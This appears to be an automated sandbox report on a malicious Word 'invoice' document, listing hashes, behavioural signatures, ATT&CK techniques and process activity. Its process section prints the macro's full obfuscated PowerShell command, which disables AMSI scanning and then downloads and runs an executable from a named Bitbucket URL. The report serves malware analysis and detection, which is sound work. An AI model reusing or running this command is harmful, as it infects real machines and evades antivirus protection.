71adba3a8692ba36d24a2280954bc55db0b0c2a067a84a569682414443893ac7

General

Target

user-invoice-8488888.doc
Size

63KB
MD5

e6fa4e620f40158675e05a337318ee50
SHA1

5b6dfc5bcdd0d9fd0b6ed397c1d325f41784a0d6
SHA256

71adba3a8692ba36d24a2280954bc55db0b0c2a067a84a569682414443893ac7
SHA512

74de666ee675b9683b996bfffaf3e7729cc19ff607124c305e0e317ad74f9aab52844d73d1e08f1503b60d27f627aec98cc9d752241a89570a00ac869b669b9a

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bitbucket.org/tanake5518/fi/downloads/r1oo.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1952	1240	powershell.exe	WINWORD.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

7 1952 powershell.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

flow	pid	process
7	1952	powershell.exe

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1240 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1952 powershell.exe
1952 powershell.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

WINWORD.EXE

pid process

1240 WINWORD.EXE
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1952 powershell.exe

pid	process
1952	powershell.exe
1952	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1952	powershell.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

WINWORD.EXE

pid	process
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE
1240	WINWORD.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1240 wrote to memory of 1952	1240	WINWORD.EXE	powershell.exe
PID 1240 wrote to memory of 1952	1240	WINWORD.EXE	powershell.exe
PID 1240 wrote to memory of 1952	1240	WINWORD.EXE	powershell.exe
PID 1240 wrote to memory of 1952	1240	WINWORD.EXE	powershell.exe
PID 1240 wrote to memory of 1768	1240	WINWORD.EXE	splwow64.exe
PID 1240 wrote to memory of 1768	1240	WINWORD.EXE	splwow64.exe
PID 1240 wrote to memory of 1768	1240	WINWORD.EXE	splwow64.exe
PID 1240 wrote to memory of 1768	1240	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\user-invoice-8488888.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $iZEmScpggwSBpHcRp=@(91,100,111,117,98,108,101,93,36,111,115,118,101,114,32,61,32,91,115,116,114,105,110,103,93,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,97,106,111,114,32,43,32,39,46,39,32,43,32,91,101,110,118,105,114,111,110,109,101,110,116,93,58,58,79,83,86,101,114,115,105,111,110,46,86,101,114,115,105,111,110,46,109,105,110,111,114,59,105,102,32,40,36,111,115,118,101,114,32,45,103,101,32,49,48,46,48,41,32,123,101,99,104,111,32,87,105,110,100,111,119,115,49,48,59,36,84,81,78,61,91,83,121,115,116,101,109,46,82,117,110,116,105,109,101,46,73,110,116,101,114,111,112,83,101,114,118,105,99,101,115,46,77,97,114,115,104,97,108,93,58,58,65,108,108,111,99,72,71,108,111,98,97,108,40,40,49,50,52,55,48,45,51,51,57,52,41,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,83,101,115,115,105,111,110,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,36,110,117,108,108,41,59,91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,34,83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,36,40,91,99,72,65,82,93,40,91,66,121,116,101,93,48,120,52,49,41,43,91,99,72,97,82,93,40,91,66,89,84,69,93,48,120,54,68,41,43,91,67,72,97,114,93,40,91,98,89,84,69,93,48,120,55,51,41,43,91,67,104,65,114,93,40,91,98,121,116,69,93,48,120,54,57,41,41,85,116,105,108,115,34,41,46,71,101,116,70,105,101,108,100,40,34,36,40,91,67,72,97,82,93,40,91,98,89,116,101,93,48,120,54,49,41,43,91,67,104,97,82,93,40,91,98,89,84,101,93,48,120,54,68,41,43,91,67,104,97,82,93,40,49,52,56,45,51,51,41,43,91,99,72,65,114,93,40,49,48,53,41,41,67,111,110,116,101,120,116,34,44,32,34,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,34,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,32,91,73,110,116,80,116,114,93,36,84,81,78,41,59,125,101,108,115,101,32,123,125,59,36,99,108,105,101,110,116,32,61,32,110,101,119,45,111,98,106,101,99,116,32,83,121,115,116,101,109,46,78,101,116,46,87,101,98,67,108,105,101,110,116,59,36,97,32,61,32,39,104,116,116,112,115,58,47,47,98,105,116,98,117,99,107,101,116,46,111,114,103,47,116,97,110,97,107,101,53,53,49,56,47,102,105,47,100,111,119,110,108,111,97,100,115,47,114,49,111,111,46,101,120,101,39,46,83,112,108,105,116,40,39,44,39,41,59,36,104,117,97,115,32,61,32,36,101,110,118,58,116,101,109,112,32,43,32,39,92,113,114,114,106,97,107,99,101,46,101,120,101,39,59,102,111,114,101,97,99,104,40,36,98,32,105,110,32,36,97,41,123,116,114,121,123,36,99,108,105,101,110,116,46,68,111,119,110,108,111,97,100,70,105,108,101,40,36,98,46,84,111,83,116,114,105,110,103,40,41,44,32,36,104,117,97,115,41,59,73,110,118,111,107,101,45,73,116,101,109,40,36,104,117,97,115,41,59,98,114,101,97,107,59,125,99,97,116,99,104,123,119,114,105,116,101,45,104,111,115,116,32,36,95,46,69,120,99,101,112,116,105,111,110,46,77,101,115,115,97,103,101,125,125,59);[System.Text.Encoding]::ASCII.GetString($iZEmScpggwSBpHcRp)|&('I'+'EX');
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1952

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Replay Monitor

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Downloads

memory/1240-60-0x000000006FBC1000-0x000000006FBC3000-memory.dmp

Filesize
8KB

Download
memory/1240-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1240-90-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1240-59-0x0000000072141000-0x0000000072144000-memory.dmp

Filesize
12KB

Download
memory/1768-65-0x000007FEFB591000-0x000007FEFB593000-memory.dmp

Filesize
8KB

Download
memory/1768-64-0x0000000000000000-mapping.dmp

Download
memory/1952-69-0x0000000000B42000-0x0000000000B43000-memory.dmp

Filesize
4KB

Download
memory/1952-74-0x0000000006020000-0x0000000006021000-memory.dmp

Filesize
4KB

Download
memory/1952-67-0x0000000004760000-0x0000000004761000-memory.dmp

Filesize
4KB

Download
memory/1952-68-0x0000000000B40000-0x0000000000B41000-memory.dmp

Filesize
4KB

Download
memory/1952-63-0x00000000752B1000-0x00000000752B3000-memory.dmp

Filesize
8KB

Download
memory/1952-70-0x0000000000BC0000-0x0000000000BC1000-memory.dmp

Filesize
4KB

Download
memory/1952-71-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1952-66-0x0000000000940000-0x0000000000941000-memory.dmp

Filesize
4KB

Download
memory/1952-79-0x00000000060D0000-0x00000000060D1000-memory.dmp

Filesize
4KB

Download
memory/1952-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1952-81-0x00000000061D0000-0x00000000061D1000-memory.dmp

Filesize
4KB

Download
memory/1952-88-0x00000000062A0000-0x00000000062A1000-memory.dmp

Filesize
4KB

Download
memory/1952-89-0x00000000064D0000-0x00000000064D1000-memory.dmp

Filesize
4KB

Download
memory/1952-62-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads